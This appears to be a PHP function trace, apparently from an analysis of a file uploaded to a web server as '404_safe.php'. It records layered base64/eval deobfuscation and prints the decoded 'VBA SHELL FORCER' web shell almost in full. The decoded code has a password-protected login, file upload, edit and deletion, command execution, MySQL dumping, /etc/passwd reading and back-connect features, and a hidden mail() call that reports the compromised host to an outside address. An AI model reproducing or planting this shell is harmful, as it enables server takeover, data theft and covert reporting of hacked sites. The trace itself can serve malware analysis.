B2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7Cn0KCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7CgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7CgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsKCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgewoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7Cgl9IGVsc2UgewoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsKCX0KfQoKZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7CglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgewoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsKCX0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7CglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsKCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7CgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfSBlbHNlIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOwoJcCgnPC9mb3JtPicpOwp9CgpmdW5jdGlvbiBmb3JtZm9vdCgpewoJcCgnPC9mb3JtPicpOwp9CgovLyBFeGl0CmZ1bmN0aW9uIHByKCRhKSB7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRhKTsKCWVjaG8gJzwvcHJlPic7Cn0=\';$b=strrev("46esab").str_replace(\'f\',\'\',\'_fdefcodfe\');eval($b($a));'	/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code	1	0
4		A						/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	$a = 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsK'
5	19	0	0.005640	892728	strrev	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'46esab'
5	19	1	0.005657	892792
5	19	R			'base64'
5	20	0	0.005672	892760	str_replace	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	3	'f'	''	'_fdefcodfe'
5	20	1	0.005688	892888
5	20	R			'_decode'
4		A						/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	$b = 'base64_decode'
5	21	0	0.005718	892768	base64_decode	0		/var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	1	'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsK'
5	21	1	0.006044	995200
5	21	R			'/****************************************\\\n|*    VBA SHELL FORCER - VERSION 2.1\t*|\n|*     Edit & Develop by VBATEAM        *|\n|*  \t  http://vbateam.net    \t    *|\n|*    ==  Hacking & Security  ==        *|\n\\****************************************/\n\nerror_reporting(7);\n@set_magic_quotes_runtime(0);\nob_start();\n$mtime = explode(\' \', microtime());\n$starttime = $mtime[1] + $mtime[0];\ndefine(\'SA_ROOT\', str_replace(\'\\\\\', \'/\', dirname(__FILE__)).\'/\');\n//define(\'IS_WIN\', strstr(PHP_'
5	22	0	0.009032	1548296	eval	1	'/****************************************\\\n|*    VBA SHELL FORCER - VERSION 2.1\t*|\n|*     Edit & Develop by VBATEAM        *|\n|*  \t  http://vbateam.net    \t    *|\n|*    ==  Hacking & Security  ==        *|\n\\****************************************/\n\nerror_reporting(7);\n@set_magic_quotes_runtime(0);\nob_start();\n$mtime = explode(\' \', microtime());\n$starttime = $mtime[1] + $mtime[0];\ndefine(\'SA_ROOT\', str_replace(\'\\\\\', \'/\', dirname(__FILE__)).\'/\');\n//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );\ndefine(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\\\');\ndefine(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );\ndefine(\'IS_GPC\', get_magic_quotes_gpc());\n$dis_func = get_cfg_var(\'disable_functions\');\ndefine(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );\n@set_time_limit(0);\n\nforeach(array(\'_GET\',\'_POST\') as $_request) {\n\tforeach($$_request as $_key => $_value) {\n\t\tif ($_key{0} != \'_\') {\n\t\t\tif (IS_GPC) {\n\t\t\t\t$_value = s_array($_value);\n\t\t\t}\n\t\t\t$$_key = $_value;\n\t\t}\n\t}\n}\n\n/*=================  Info Login  ================*/\n$admin = array();\n$admin[\'check\'] = true;\n$admin[\'pass\']  = \'1002912b251887b4fe0e5fa1efdbfa06\'; // Password login\n$admin[\'cookiepre\'] = \'\';\n$admin[\'cookiedomain\'] = \'\';\n$admin[\'cookiepath\'] = \'/\';\n$admin[\'cookielife\'] = 86400;\n/*===================== End =====================*/\n\nif ($charset == \'utf8\') {\n\theader("content-Type: text/html; charset=utf-8");\n} elseif ($charset == \'big5\') {\n\theader("content-Type: text/html; charset=big5");\n} elseif ($charset == \'gbk\') {\n\theader("content-Type: text/html; charset=gbk");\n} elseif ($charset == \'latin1\') {\n\theader("content-Type: text/html; charset=iso-8859-2");\n}\n\n$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];\n$timestamp = time();\n\n/*===================== Login =====================*/\nif ($action == "logout") {\n\tscookie(\'vbapass\', \'\', -86400 * 365);\n\tp(\'<meta http-equiv="refresh" content="0;URL=\'.$self.\'">\');\n\tp(\'<body background=black>\');\n\texit;\n}\nif($admin[\'check\']) {\n\tif ($doing == \'login\') {\n\t\tif ($admin[\'pass\'] == md5($password)) {\n\t\t\tscookie(\'vbapass\', md5($password));\n\n// Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam\n$time_shell = "".date("d/m/Y - H:i:s")."";\n$ip_remote = $_SERVER["REMOTE_ADDR"];\n$from_shellcode = \'shell@\'.gethostbyname($_SERVER[\'SERVER_NAME\']).\'\';\n$to_email = \'xedorac@gmail.com\';\n$server_mail = "".gethostbyname($_SERVER[\'SERVER_NAME\'])."  - ".$_SERVER[\'HTTP_HOST\']."";\n$linkcr = "Link: ".$_SERVER[\'SERVER_NAME\']."".$_SERVER[\'REQUEST_URI\']." - IP Excuting: $ip_remote - Time: $time_shell";\n$header = "From: $from_shellcode\\r\\nReply-to: $from_shellcode";\n@mail($to_email, $server_mail, $linkcr, $header);\n\t\t\tp(\'<meta http-equiv="refresh" content="2;URL=\'.$self.\'">\');\n\t\t\tp(\'<body bgcolor=black>\n<BR><BR><div align=center><font color=yellow face=tahoma size=2>Connecting...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>\');\n\t\t\texit;\n\t\t}\n\n\telse\n\t{\n\t$err_mess = \'<table width=100%><tr><td bgcolor=#F0F0F0 width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>\';\necho $err_mess;\n\t}}\n\tif ($_COOKIE[\'vbapass\']) {\n\t\tif ($_COOKIE[\'vbapass\'] != $admin[\'pass\']) {\n\t\t\tloginpage();\n\t\t}\n\t} else {\n\t\tloginpage();\n\t}\n}\n/*===================== Login =====================*/\n\n$errmsg = \'\';\n\nif ($action == \'phpinfo\') {\n\tif (IS_PHPINFO) {\n\t\tphpinfo();\n\t} else {\n\t\t$errmsg = \'phpinfo() function has non-permissible\';\n\t}\n}\n\n\nif ($doing == \'downfile\' && $thefile) {\n\tif (!@file_exists($thefile)) {\n\t\t$errmsg = \'The file you want Downloadable was nonexistent\';\n\t} else {\n\t\t$fileinfo = pathinfo($thefile);\n\t\theader(\'Content-type: application/x-\'.$fileinfo[\'extension\']);\n\t\theader(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);\n\t\theader(\'Content-Length: \'.filesize($thefile));\n\t\t@readfile($thefile);\n\t\texit;\n\t}\n}\n\n\nif ($doing == \'backupmysql\' && !$saveasfile) {\n\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t$table = array_flip($table);\n\t$result = q("SHOW tables");\n\tif (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');\n\t$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');\n\theader(\'Content-type: application/unknown\');\n\theader(\'Content-Disposition: attachment; filename=\'.$filename);\n\t$mysqldata = \'\';\n\twhile ($currow = mysql_fetch_array($result)) {\n\t\tif (isset($table[$currow[0]])) {\n\t\t\t$mysqldata .= sqldumptable($currow[0]);\n\t\t}\n\t}\n\tmysql_close();\n\texit;\n}\n\n// Mysql\nif($doing==\'mysqldown\'){\n\tif (!$dbname) {\n\t\t$errmsg = \'Please input dbname\';\n\t} else {\n\t\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t\tif (!file_exists($mysqldlfile)) {\n\t\t\t$errmsg = \'The file you want Downloadable was nonexistent\';\n\t\t} else {\n\t\t\t$result = q("select load_file(\'$mysqldlfile\');");\n\t\t\tif(!$result){\n\t\t\t\tq("DROP TABLE IF EXISTS tmp_angel;");\n\t\t\t\tq("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");\n\t\t\t\t//Download SQL\n\t\t\t\tq("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");\n\t\t\t\t$result = q("select content from tmp_angel");\n\t\t\t\tq("DROP TABLE tmp_angel");\n\t\t\t}\n\t\t\t$row = @mysql_fetch_array($result);\n\t\t\tif (!$row) {\n\t\t\t\t$errmsg = \'Load file failed \'.mysql_error();\n\t\t\t} else {\n\t\t\t\t$fileinfo = pathinfo($mysqldlfile);\n\t\t\t\theader(\'Content-type: application/x-\'.$fileinfo[\'extension\']);\n\t\t\t\theader(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);\n\t\t\t\theader("Accept-Length: ".strlen($row[0]));\n\t\t\t\techo $row[0];\n\t\t\t\texit;\n\t\t\t}\n\t\t}\n\t}\n}\n\n?>\n\n<html>\n<head>\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8">\n<title><?php echo str_replace(\'.\',\'\',\'The Legend of Vietnamese Hacker World\');?></title>\n<style type="text/css">\nbody,td{font: 10pt Tahoma;color:gray;line-height: 16px;}\n\na {color: #74A202;text-decoration:none;}\na:hover{color: #f00;text-decoration:underline;}\n.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}\n.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}\n.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}\n.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}\n.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}\n.head td span{font-weight:normal;}\nform{margin:0;padding:0;}\nh2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}\nul.info li{margin:0;color:#444;line-height:24px;height:24px;}\nu{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}\ninput, textarea, button\n{\n\tfont-size: 9pt;\n\tcolor: #ccc;\n\tfont-family: verdana, sans-serif;\n\tbackground-color: #202020;\n\tborder-left: 1px solid #74A202;\n\tborder-top: 1px solid #74A202;\n\tborder-right: 1px solid #74A202;\n\tborder-bottom: 1px solid #74A202;\n}\nselect\n{\n\tfont-size: 8pt;\n\tfont-weight: normal;\n\tcolor: #ccc;\n\tfont-family: verdana, sans-serif;\n\tbackground-color: #202020;\n}\n\n</style>\n<script type="text/javascript">\nfunction CheckAll(form) {\n\tfor(var i=0;i<form.elements.length;i++) {\n\t\tvar e = form.elements[i];\n\t\tif (e.name != \'chkall\')\n\t\te.checked = form.chkall.checked;\n    }\n}\nfunction $(id) {\n\treturn document.getElementById(id);\n}\nfunction goaction(act){\n\t$(\'goaction\').action.value=act;\n\t$(\'goaction\').submit();\n}\n</script>\n</head>\n<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>\n\n\n<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">\n\t\t\t\t<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td align="center" valign=center>\n\t\t\t\t <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">\n\t\t\t\t   Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">\n\t\t\t\t  </div>\n\t\t\t\t</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t </div>\n <script>\n var ld=(document.all);\n  var ns4=document.layers;\n var ns6=document.getElementById&&!document.all;\n var ie4=document.all;\n  if (ns4)\n \tld=document.loading;\n else if (ns6)\n \tld=document.getElementById("loading").style;\n else if (ie4)\n \tld=document.all.loading.style;\n  function init()\n {\n if(ns4){ld.visibility="hidden";}\n else if (ns6||ie4) ld.display="none";\n }\n </script>\n<table width="100%" border="0" cellpadding="0" cellspacing="0">\n\t<tr class="head_small">\n\t\t<td  width=100%>\n\t\t<table width=100%><tr class="head_small"><td>\n\t\t<span style="float:left;"> <?php echo "Hostname: ".$_SERVER[\'HTTP_HOST\']."";?> | <span>[ Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER[\'SERVER_NAME\'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER[\'REMOTE_ADDR\']."</font>";?> ] </span> | <a href="javascript:goaction(\'logout\');"><font color=red> Logout</font></a></span> <br />\n\n\t\t<?php\n\t\t$curl_on = @function_exists(\'curl_version\');\n\t\t$mysql_on = @function_exists(\'mysql_connect\');\n\t\t$mssql_on = @function_exists(\'mssql_connect\');\n\t\t$pg_on = @function_exists(\'pg_connect\');\n\t\t$ora_on = @function_exists(\'ocilogon\');\n\necho (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));\necho "PHP version: <b>".@phpversion()."</b> - ";\n\t\techo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));\n\t\techo "MySQL: <b>";\n$mysql_on = @function_exists(\'mysql_connect\');\nif($mysql_on){\necho "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }\necho "MSSQL: <b>";\n$mssql_on = @function_exists(\'mssql_connect\');\nif($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}\necho "PostgreSQL: <b>";\n$pg_on = @function_exists(\'pg_connect\');\nif($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}\necho "Oracle: <b>";\n$ora_on = @function_exists(\'ocilogon\');\nif($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}\n\necho "Disable functions : <b>";\nif(\'\'==($df=@ini_get(\'disable_functions\'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}\n\necho "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";\necho "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";\n\t\t?>\n\t\t</td></tr></table></td>\n\t</tr>\n\t<tr class="alt1">\n\t\t<td  width=10%>\n\t\t\t\n\t\t\t<a href="javascript:goaction(\'file\');">File Manager</a> |\n\t\t\t<a href="javascript:goaction(\'sqladmin\');">MySQL Manager</a> |\n\t\t\t<a href="javascript:goaction(\'sqlfile\');">MySQL Upload &amp; Download</a> |\n\t\t\t<a href="javascript:goaction(\'shell\');">Execute Command</a> |\n\t\t\t<a href="javascript:goaction(\'phpenv\');">PHP Variable</a> |\n\t\t\t<a href="javascript:goaction(\'eval\');">Eval PHP Code</a>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'brute\');">Brute</a> <?php }?>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> <?php }?>\n\t\t\t<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');">Back Connect</a><?php }?>\n\t\t</td>\n\t</tr>\n</table>\n<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>\n<?php\n\nformhead(array(\'name\'=>\'goaction\'));\nmakehide(\'action\');\nformfoot();\n\n$errmsg && m($errmsg);\n\n// Dir function\n!$dir && $dir = \'.\';\n$nowpath = getPath(SA_ROOT, $dir);\nif (substr($dir, -1) != \'/\') {\n\t$dir = $dir.\'/\';\n}\n$uedir = ue($dir);\n\nif (!$action || $action == \'file\') {\n\n\t// Non-writeable\n\t$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';\n\n\t// Delete dir\n\tif ($doing == \'deldir\' && $thefile) {\n\t\tif (!file_exists($thefile)) {\n\t\t\tm($thefile.\' directory does not exist\');\n\t\t} else {\n\t\t\tm(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Create new dir\n\telseif ($newdirname) {\n\t\t$mkdirs = $nowpath.$newdirname;\n\t\tif (file_exists($mkdirs)) {\n\t\t\tm(\'Directory has already existed\');\n\t\t} else {\n\t\t\tm(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));\n\t\t\t@chmod($mkdirs,0777);\n\t\t}\n\t}\n\n\t// Upload file\n\telseif ($doupfile) {\n\t\tm(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));\n\t}\n\n\t// Edit file\n\telseif ($editfilename && $filecontent) {\n\t\t$fp = @fopen($editfilename,\'w\');\n\t\tm(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));\n\t\t@fclose($fp);\n\t}\n\n\t// Modify\n\telseif ($pfile && $newperm) {\n\t\tif (!file_exists($pfile)) {\n\t\t\tm(\'The original file does not exist\');\n\t\t} else {\n\t\t\t$newperm = base_convert($newperm,8,10);\n\t\t\tm(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Rename\n\telseif ($oldname && $newfilename) {\n\t\t$nname = $nowpath.$newfilename;\n\t\tif (file_exists($nname) || !file_exists($oldname)) {\n\t\t\tm($nname.\' has already existed or original file does not exist\');\n\t\t} else {\n\t\t\tm(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Copu\n\telseif ($sname && $tofile) {\n\t\tif (file_exists($tofile) || !file_exists($sname)) {\n\t\t\tm(\'The goal file has already existed or original file does not exist\');\n\t\t} else {\n\t\t\tm(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// File exit\n\telseif ($curfile && $tarfile) {\n\t\tif (!@file_exists($curfile) || !@file_exists($tarfile)) {\n\t\t\tm(\'The goal file has already existed or original file does not exist\');\n\t\t} else {\n\t\t\t$time = @filemtime($tarfile);\n\t\t\tm(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Date\n\telseif ($curfile && $year && $month && $day && $hour && $minute && $second) {\n\t\tif (!@file_exists($curfile)) {\n\t\t\tm(basename($curfile).\' does not exist\');\n\t\t} else {\n\t\t\t$time = strtotime("$year-$month-$day $hour:$minute:$second");\n\t\t\tm(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));\n\t\t}\n\t}\n\n\t// Download\n\telseif($doing == \'downrar\') {\n\t\tif ($dl) {\n\t\t\t$dfiles=\'\';\n\t\t\tforeach ($dl as $filepath => $value) {\n\t\t\t\t$dfiles.=$filepath.\',\';\n\t\t\t}\n\t\t\t$dfiles=substr($dfiles,0,strlen($dfiles)-1);\n\t\t\t$dl=explode(\',\',$dfiles);\n\t\t\t$zip=new PHPZip($dl);\n\t\t\t$code=$zip->out;\n\t\t\theader(\'Content-type: application/octet-stream\');\n\t\t\theader(\'Accept-Ranges: bytes\');\n\t\t\theader(\'Accept-Length: \'.strlen($code));\n\t\t\theader(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');\n\t\t\techo $code;\n\t\t\texit;\n\t\t} else {\n\t\t\tm(\'Please select file(s)\');\n\t\t}\n\t}\n\n\t// Delete file\n\telseif($doing == \'delfiles\') {\n\t\tif ($dl) {\n\t\t\t$dfiles=\'\';\n\t\t\t$succ = $fail = 0;\n\t\t\tforeach ($dl as $filepath => $value) {\n\t\t\t\tif (@unlink($filepath)) {\n\t\t\t\t\t$succ++;\n\t\t\t\t} else {\n\t\t\t\t\t$fail++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tm(\'Deleted file have finished??choose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);\n\t\t} else {\n\t\t\tm(\'Please select file(s)\');\n\t\t}\n\t}\n\n\t// Function Newdir\n\tformhead(array(\'name\'=>\'createdir\'));\n\tmakehide(\'newdirname\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'fileperm\'));\n\tmakehide(\'newperm\');\n\tmakehide(\'pfile\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'copyfile\'));\n\tmakehide(\'sname\');\n\tmakehide(\'tofile\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'rename\'));\n\tmakehide(\'oldname\');\n\tmakehide(\'newfilename\');\n\tmakehide(\'dir\',$nowpath);\n\tformfoot();\n\tformhead(array(\'name\'=>\'fileopform\'));\n\tmakehide(\'action\');\n\tmakehide(\'opfile\');\n\tmakehide(\'dir\');\n\tformfoot();\n\n\t$free = @disk_free_space($nowpath);\n\t!$free && $free = 0;\n\t$all = @disk_total_space($nowpath);\n\t!$all && $all = 0;\n\t$used = $all-$free;\n\t$used_percent = @round(100/($all/$free),2);\n\tp(\'<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>\'.sizecount($free).\'</font> of <font 